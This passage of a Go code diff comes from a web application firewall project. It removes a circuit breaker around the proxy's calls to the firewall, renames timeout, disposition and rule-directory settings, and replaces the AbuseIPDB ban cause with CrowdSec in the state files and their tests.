|
||||||
if answering.Load() {
|
|
||||||
nextID <- r.Header.Get(requestIDHeader)
|
|
||||||
}
|
|
||||||
|
|
||||||
greet(w, r)
|
|
||||||
})
|
|
||||||
addr, out := startRProxy(
|
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
wafBackendTimeout: "200",
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
// An ask can time out before it reaches the stand-in, so these
|
|
||||||
// may leave fewer than five questions, or leave some late.
|
|
||||||
for range 5 {
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
|
||||||
}
|
|
||||||
|
|
||||||
// rproxy writes this line before it answers a request it kept
|
|
||||||
// from asking waf, so no wait is needed.
|
|
||||||
if out.has("the circuit breaker is open") {
|
|
||||||
t.Error("the circuit breaker opened before five asks failed")
|
|
||||||
}
|
|
||||||
|
|
||||||
answering.Store(true)
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
|
||||||
out.waitFor(t, "the circuit breaker is open")
|
|
||||||
|
|
||||||
// Had the next request asked waf, its question would have reached
|
|
||||||
// the stand-in before the request reached the app.
|
|
||||||
var id string
|
|
||||||
select {
|
|
||||||
case id = <-nextID:
|
|
||||||
default:
|
|
||||||
t.Fatal("the app did not get the next request")
|
|
||||||
}
|
|
||||||
|
|
||||||
for len(standIn.questions) > 0 {
|
|
||||||
asked := <-standIn.questions
|
|
||||||
if asked.header.Get(requestIDHeader) == id {
|
|
||||||
t.Error("waf was asked, want it not to be")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestVisitorsThatGoAwayWhileWAFIsAskedLeaveTheBreakerClosed(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
var answering atomic.Bool
|
|
||||||
|
|
||||||
standIn := startWAF(t, func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if answering.Load() {
|
|
||||||
allow(w, r)
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
<-r.Context().Done()
|
|
||||||
})
|
|
||||||
app := startApp(t, greet)
|
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
|
||||||
wafBackendTimeout: "60000",
|
|
||||||
})
|
|
||||||
|
|
||||||
// Five of these would open the breaker if they counted as failures.
|
|
||||||
for range 5 {
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
|
||||||
id := standIn.question(t).header.Get(requestIDHeader)
|
|
||||||
|
|
||||||
_ = conn.Close()
|
|
||||||
|
|
||||||
// rproxy writes the request's log line once it is done with the ask.
|
|
||||||
out.waitFor(t, id)
|
|
||||||
}
|
|
||||||
|
|
||||||
answering.Store(true)
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
|
||||||
standIn.question(t)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAnswersThatCannotBePassedOnOpenTheBreaker(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
var answering atomic.Bool
|
|
||||||
|
|
||||||
tooLarge := overOneMiB(dispositionDeny)
|
|
||||||
standIn := startWAF(t, func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if answering.Load() {
|
|
||||||
allow(w, r)
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
tooLarge(w, r)
|
|
||||||
})
|
|
||||||
app := startApp(t, greet)
|
|
||||||
out := &output{}
|
|
||||||
server := newServer(t, standIn.URL, app.URL, nil, out, out)
|
|
||||||
// The breaker's clock stands still. On a slow host, the five failures could
|
|
||||||
// otherwise take more than the five seconds that open the breaker. The next
|
|
||||||
// request could come more than a second later, when it may ask waf again.
|
|
||||||
server.StopBreakerClock(time.Now())
|
|
||||||
addr := serve(t, server)
|
|
||||||
|
|
||||||
for range 5 {
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
|
||||||
t.Errorf("answered %d, want 502", got.status)
|
|
||||||
}
|
|
||||||
|
|
||||||
standIn.question(t)
|
|
||||||
}
|
|
||||||
|
|
||||||
answering.Store(true)
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
|
||||||
out.waitFor(t, "the circuit breaker is open")
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-standIn.questions:
|
|
||||||
t.Error("waf was asked, want it not to be")
|
|
||||||
case <-time.After(10 * pollInterval):
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAPathUnderOwnPrefixNeverReachesTheApp(t *testing.T) {
|
func TestAPathUnderOwnPrefixNeverReachesTheApp(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -1633,7 +1438,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1676,7 +1481,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
|||||||
// The time limit is long enough for a loaded host to answer the question before
|
// The time limit is long enough for a loaded host to answer the question before
|
||||||
// it runs out.
|
// it runs out.
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "3000",
|
timeoutSetting: "3000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1706,7 +1511,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
|||||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1794,7 +1599,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
backend.URL,
|
backend.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "5000",
|
timeoutSetting: "5000",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -2087,10 +1892,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if line["waf_backend_no_answer"] != nil {
|
if line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"waf_backend_no_answer is %v, want it left out",
|
"default_disposition is %v, want it left out",
|
||||||
line["waf_backend_no_answer"],
|
line["default_disposition"],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+11
-38
@@ -67,17 +67,15 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
rq.answer(http.StatusBadGateway)
|
rq.answer(http.StatusBadGateway)
|
||||||
default:
|
default:
|
||||||
// waf cannot be connected to, does not answer at all, or does not answer
|
// waf cannot be connected to, does not answer at all, or does not answer
|
||||||
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS; or the circuit breaker
|
// within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
|
||||||
// kept the request from asking. A request that keeps waf
|
// SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
|
||||||
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while
|
// SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||||
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION
|
// whenever waf is slow. Making such requests hard to send is
|
||||||
// here. deny closes this, at the cost of answering 503 whenever waf is
|
|
||||||
// slow. Making such requests hard to send is
|
|
||||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||||
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||||
|
|
||||||
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition
|
rq.disposition = rq.h.config.DefaultDisposition
|
||||||
rq.wafNoAnswer = true
|
rq.byDefault = true
|
||||||
|
|
||||||
if rq.disposition == waf.DispositionAllow {
|
if rq.disposition == waf.DispositionAllow {
|
||||||
rq.passToApp(ctx)
|
rq.passToApp(ctx)
|
||||||
@@ -87,36 +85,11 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// askUnlessBreakerOpen asks waf, unless the circuit breaker is open and it is
|
|
||||||
// not yet time for a request to ask. It then tells the breaker whether waf
|
|
||||||
// answered in time. An answer rproxy cannot pass on counts as a failure. A
|
|
||||||
// visitor that goes away tells the breaker nothing. ctx is the request's own
|
|
||||||
// context.
|
|
||||||
func (rq *request) askUnlessBreakerOpen(
|
|
||||||
ctx context.Context,
|
|
||||||
) (*wafAnswer, error) {
|
|
||||||
b := &rq.h.breaker
|
|
||||||
if !b.mayAsk(rq.h.breakerClock()) {
|
|
||||||
return nil, errBreakerOpen
|
|
||||||
}
|
|
||||||
|
|
||||||
answer, err := rq.ask(ctx)
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case err == nil:
|
|
||||||
b.noteAnswer()
|
|
||||||
case ctx.Err() == nil:
|
|
||||||
b.noteFailure(rq.h.breakerClock())
|
|
||||||
}
|
|
||||||
|
|
||||||
return answer, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// ask sends waf the question, and returns its answer, which must have come
|
// ask sends waf the question, and returns its answer, which must have come
|
||||||
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as
|
// whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||||
// when the visitor goes away.
|
// away.
|
||||||
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
question, err := rq.newQuestion(ctx)
|
question, err := rq.newQuestion(ctx)
|
||||||
@@ -269,14 +242,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// postReport posts report to waf, and waits for its answer for up to
|
// postReport posts report to waf, and waits for its answer for up to
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS.
|
// SWW_RPROXY_TIMEOUT_MS.
|
||||||
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||||
body, err := json.Marshal(report)
|
body, err := json.Marshal(report)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("encode the report: %w", err)
|
return fmt.Errorf("encode the report: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
// Package rules reads the rule files: the plain text files in
|
// Package rules reads the rule files: the plain text files in
|
||||||
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked
|
// SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
|
||||||
// against, as the "Rule files" section of SPEC.md describes. They are read
|
// against, as the "Rule files" section of SPEC.md describes. They are read
|
||||||
// at start, and again once the directory has had no change for a short
|
// at start, and again once the directory has had no change for a short
|
||||||
// time after one is edited, added or removed.
|
// time after one is edited, added or removed.
|
||||||
@@ -21,9 +21,9 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/fsnotify/fsnotify"
|
"github.com/fsnotify/fsnotify"
|
||||||
"golang.org/x/net/http/httpguts"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The actions a rule takes when it matches.
|
// The actions a rule takes when it matches.
|
||||||
@@ -40,7 +40,7 @@ const (
|
|||||||
// extension ends the name of every rule file.
|
// extension ends the name of every rule file.
|
||||||
const extension = ".rules"
|
const extension = ".rules"
|
||||||
|
|
||||||
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before
|
// quietTime is how long SWW_WAF_RULES_DIR must go without a change before
|
||||||
// the rule files are read again, so that a file still being written, such
|
// the rule files are read again, so that a file still being written, such
|
||||||
// as one saved in place, appended to or copied in with scp, is read only
|
// as one saved in place, appended to or copied in with scp, is read only
|
||||||
// once whole.
|
// once whole.
|
||||||
@@ -103,9 +103,9 @@ type Rule struct {
|
|||||||
|
|
||||||
// Params are what Load needs.
|
// Params are what Load needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR).
|
// Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read
|
// Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
|
||||||
// and no rule loaded.
|
// and no rule loaded.
|
||||||
Enabled bool
|
Enabled bool
|
||||||
// ProcessLog receives how many rules were read, and the error in a
|
// ProcessLog receives how many rules were read, and the error in a
|
||||||
@@ -275,7 +275,7 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
entries, err := os.ReadDir(dir)
|
entries, err := os.ReadDir(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, dir, fmt.Errorf(
|
return nil, dir, fmt.Errorf(
|
||||||
"SWW_WAF_RULE_FILES_DIR cannot be read: %w",
|
"SWW_WAF_RULES_DIR cannot be read: %w",
|
||||||
err,
|
err,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -310,7 +310,7 @@ func readFile(
|
|||||||
rules []Rule,
|
rules []Rule,
|
||||||
places map[string]string,
|
places map[string]string,
|
||||||
) ([]Rule, error) {
|
) ([]Rule, error) {
|
||||||
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR
|
//nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
|
||||||
data, err := os.ReadFile(path)
|
data, err := os.ReadFile(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -378,7 +378,7 @@ func parse(line string) (Rule, bool, error) {
|
|||||||
rule.Target,
|
rule.Target,
|
||||||
errNotTarget,
|
errNotTarget,
|
||||||
)
|
)
|
||||||
case isHeader && !httpguts.ValidHeaderFieldName(headerName):
|
case isHeader && !config.IsHeaderName(headerName):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf(
|
||||||
"the target %q %w",
|
"the target %q %w",
|
||||||
rule.Target,
|
rule.Target,
|
||||||
|
|||||||
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
||||||
": no such file or directory")
|
": no such file or directory")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
|||||||
func TestRuleFilesOffReadNothing(t *testing.T) {
|
func TestRuleFilesOffReadNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start.
|
// SWW_WAF_RULES_DIR does not exist, which would stop the start.
|
||||||
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
||||||
params.Enabled = false
|
params.Enabled = false
|
||||||
|
|
||||||
|
|||||||
+15
-17
@@ -46,7 +46,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/geojs"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
@@ -104,7 +104,7 @@ var (
|
|||||||
errVersion = errors.New("unknown version")
|
errVersion = errors.New("unknown version")
|
||||||
// errMissing is for an entry without a field it needs.
|
// errMissing is for an entry without a field it needs.
|
||||||
errMissing = errors.New("has no")
|
errMissing = errors.New("has no")
|
||||||
errCause = errors.New("is not limit, attack, admin or abuseipdb")
|
errCause = errors.New("is not limit, attack, admin or crowdsec")
|
||||||
errExpires = errors.New("is not after its start")
|
errExpires = errors.New("is not after its start")
|
||||||
errDestination = errors.New("is not webhook, slack or ntfy")
|
errDestination = errors.New("is not webhook, slack or ntfy")
|
||||||
errScope = errors.New(
|
errScope = errors.New(
|
||||||
@@ -123,11 +123,11 @@ type Params struct {
|
|||||||
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
CacheDir string
|
CacheDir string
|
||||||
// BansWriteDelay is how long after a ban is made bans.json is written
|
// WriteDelay is how long after a ban is made bans.json is written
|
||||||
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file
|
// (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
|
||||||
// is (SWW_WAF_STATE_WRITE_INTERVAL).
|
// is (SWW_WAF_STATE_COUNTER_INTERVAL).
|
||||||
BansWriteDelay time.Duration
|
WriteDelay time.Duration
|
||||||
WriteInterval time.Duration
|
CounterInterval time.Duration
|
||||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
||||||
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
||||||
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
||||||
@@ -135,7 +135,7 @@ type Params struct {
|
|||||||
// sww runs.
|
// sww runs.
|
||||||
Ledger *bans.Ledger
|
Ledger *bans.Ledger
|
||||||
Limiter *ratelimit.Limiter
|
Limiter *ratelimit.Limiter
|
||||||
GeoJS *geojs.GeoJS
|
GeoJS *lookup.GeoJS
|
||||||
Lists *reputation.Lists
|
Lists *reputation.Lists
|
||||||
DNSBL *reputation.DNSBL
|
DNSBL *reputation.DNSBL
|
||||||
AbuseIPDB *reputation.AbuseIPDB
|
AbuseIPDB *reputation.AbuseIPDB
|
||||||
@@ -196,7 +196,7 @@ type clientsFile struct {
|
|||||||
// lookupsFile is lookups.json, with each answer on a line of its own.
|
// lookupsFile is lookups.json, with each answer on a line of its own.
|
||||||
type lookupsFile struct {
|
type lookupsFile struct {
|
||||||
Version int `json:"version"`
|
Version int `json:"version"`
|
||||||
Lookups []geojs.Answer `json:"lookups"`
|
Lookups []lookup.Answer `json:"lookups"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// abuseIPDBChecksSpentFile is abuseipdb-checks-spent.json, indented for an
|
// abuseIPDBChecksSpentFile is abuseipdb-checks-spent.json, indented for an
|
||||||
@@ -318,13 +318,13 @@ func Load(params Params) (*Files, error) {
|
|||||||
return f, nil
|
return f, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Run writes bans.json BansWriteDelay after a ban is made, with every ban
|
// Run writes bans.json WriteDelay after a ban is made, with every ban
|
||||||
// made in between, and every file every WriteInterval, until ctx is
|
// made in between, and every file every CounterInterval, until ctx is
|
||||||
// done. A write that fails is logged, raised as a file_error alert, and
|
// done. A write that fails is logged, raised as a file_error alert, and
|
||||||
// the file is written again at its next write. Each write takes in an
|
// the file is written again at its next write. Each write takes in an
|
||||||
// admin's edit of its file first, as writeFile describes.
|
// admin's edit of its file first, as writeFile describes.
|
||||||
func (f *Files) Run(ctx context.Context) {
|
func (f *Files) Run(ctx context.Context) {
|
||||||
interval := time.NewTicker(f.params.WriteInterval)
|
interval := time.NewTicker(f.params.CounterInterval)
|
||||||
defer interval.Stop()
|
defer interval.Stop()
|
||||||
|
|
||||||
var bansDue <-chan time.Time // nil while no ban waits to be written
|
var bansDue <-chan time.Time // nil while no ban waits to be written
|
||||||
@@ -335,7 +335,7 @@ func (f *Files) Run(ctx context.Context) {
|
|||||||
return
|
return
|
||||||
case <-f.params.Ledger.Changed():
|
case <-f.params.Ledger.Changed():
|
||||||
if bansDue == nil {
|
if bansDue == nil {
|
||||||
bansDue = time.After(f.params.BansWriteDelay)
|
bansDue = time.After(f.params.WriteDelay)
|
||||||
}
|
}
|
||||||
case <-bansDue:
|
case <-bansDue:
|
||||||
bansDue = nil
|
bansDue = nil
|
||||||
@@ -638,8 +638,6 @@ func (f *Files) takeInState(
|
|||||||
f.params.Ledger.Load(held)
|
f.params.Ledger.Load(held)
|
||||||
}
|
}
|
||||||
|
|
||||||
f.params.Ledger.ForgetEndedAbuseIPDBBans(f.params.Now())
|
|
||||||
|
|
||||||
entries = len(held)
|
entries = len(held)
|
||||||
case clientsJSON:
|
case clientsJSON:
|
||||||
var file clientsFile
|
var file clientsFile
|
||||||
@@ -969,7 +967,7 @@ func (e BanEntry) ban() bans.Ban {
|
|||||||
// each expires is read again as written. An expires not after the start
|
// each expires is read again as written. An expires not after the start
|
||||||
// is refused too, since the netblock's next ban for a broken limit, three
|
// is refused too, since the netblock's next ban for a broken limit, three
|
||||||
// times as long as this one, would then refuse nothing; and so is a cause
|
// times as long as this one, would then refuse nothing; and so is a cause
|
||||||
// other than limit, attack, admin or abuseipdb, most likely misspelt.
|
// other than limit, attack, admin or crowdsec, most likely misspelt.
|
||||||
func (f *bansFile) check(data []byte) error {
|
func (f *bansFile) check(data []byte) error {
|
||||||
var written struct {
|
var written struct {
|
||||||
Bans []struct {
|
Bans []struct {
|
||||||
@@ -994,7 +992,7 @@ func (f *bansFile) check(data []byte) error {
|
|||||||
return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
|
return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
|
||||||
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
|
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
|
||||||
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
|
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
|
||||||
entry.Cause != bans.CauseAbuseIPDB:
|
entry.Cause != bans.CauseCrowdSec:
|
||||||
return fmt.Errorf(
|
return fmt.Errorf(
|
||||||
"entry %d's cause %q %w",
|
"entry %d's cause %q %w",
|
||||||
i+1,
|
i+1,
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/geojs"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
@@ -115,7 +115,7 @@ const permanentBansJSON = `{
|
|||||||
"limit": 3,
|
"limit": 3,
|
||||||
"attack": 1,
|
"attack": 1,
|
||||||
"admin": 1,
|
"admin": 1,
|
||||||
"abuseipdb": 0
|
"crowdsec": 2
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -160,7 +160,7 @@ const filledAlertsJSON = `{
|
|||||||
"waiting": {
|
"waiting": {
|
||||||
"webhook": [
|
"webhook": [
|
||||||
{
|
{
|
||||||
"instance": "host1/blog",
|
"instance": "fsn1app1/blog",
|
||||||
"time": "2026-10-06T00:00:00Z",
|
"time": "2026-10-06T00:00:00Z",
|
||||||
"event": "ban",
|
"event": "ban",
|
||||||
"client": "203.0.113.9",
|
"client": "203.0.113.9",
|
||||||
@@ -175,7 +175,7 @@ const filledAlertsJSON = `{
|
|||||||
"suppressed_repeats": 0
|
"suppressed_repeats": 0
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"instance": "host1/blog",
|
"instance": "fsn1app1/blog",
|
||||||
"time": "2026-10-06T00:00:00Z",
|
"time": "2026-10-06T00:00:00Z",
|
||||||
"event": "file_error",
|
"event": "file_error",
|
||||||
"client": "",
|
"client": "",
|
||||||
@@ -1188,10 +1188,10 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
|
|||||||
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
|
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
|
||||||
`"expires": null, "cause": "admin"}, `+
|
`"expires": null, "cause": "admin"}, `+
|
||||||
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
|
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
|
||||||
`"expires": "2026-10-06T04:00:00Z", "cause": "limit"}, `+
|
`"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+
|
||||||
`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
|
`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
|
||||||
`"expires": null, "cause": "atack"}]}`,
|
`"expires": null, "cause": "atack"}]}`,
|
||||||
`: entry 4's cause "atack" is not limit, attack, admin or abuseipdb`)
|
`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
|
func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
|
||||||
@@ -1273,29 +1273,29 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
|||||||
// returns once Run waits for its next write, so that every write due by
|
// returns once Run waits for its next write, so that every write due by
|
||||||
// then is on disk.
|
// then is on disk.
|
||||||
|
|
||||||
func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.BansWriteDelay = 10 * time.Second
|
params.WriteDelay = 10 * time.Second
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A second ban, made while the first waits to be written, puts the
|
// A second ban, made while the first waits to be written, puts the
|
||||||
// write off no further, and is written with it.
|
// write off no further, and is written with it.
|
||||||
first, _ := params.Ledger.Ban(
|
first, _ := params.Ledger.BanForLimit(
|
||||||
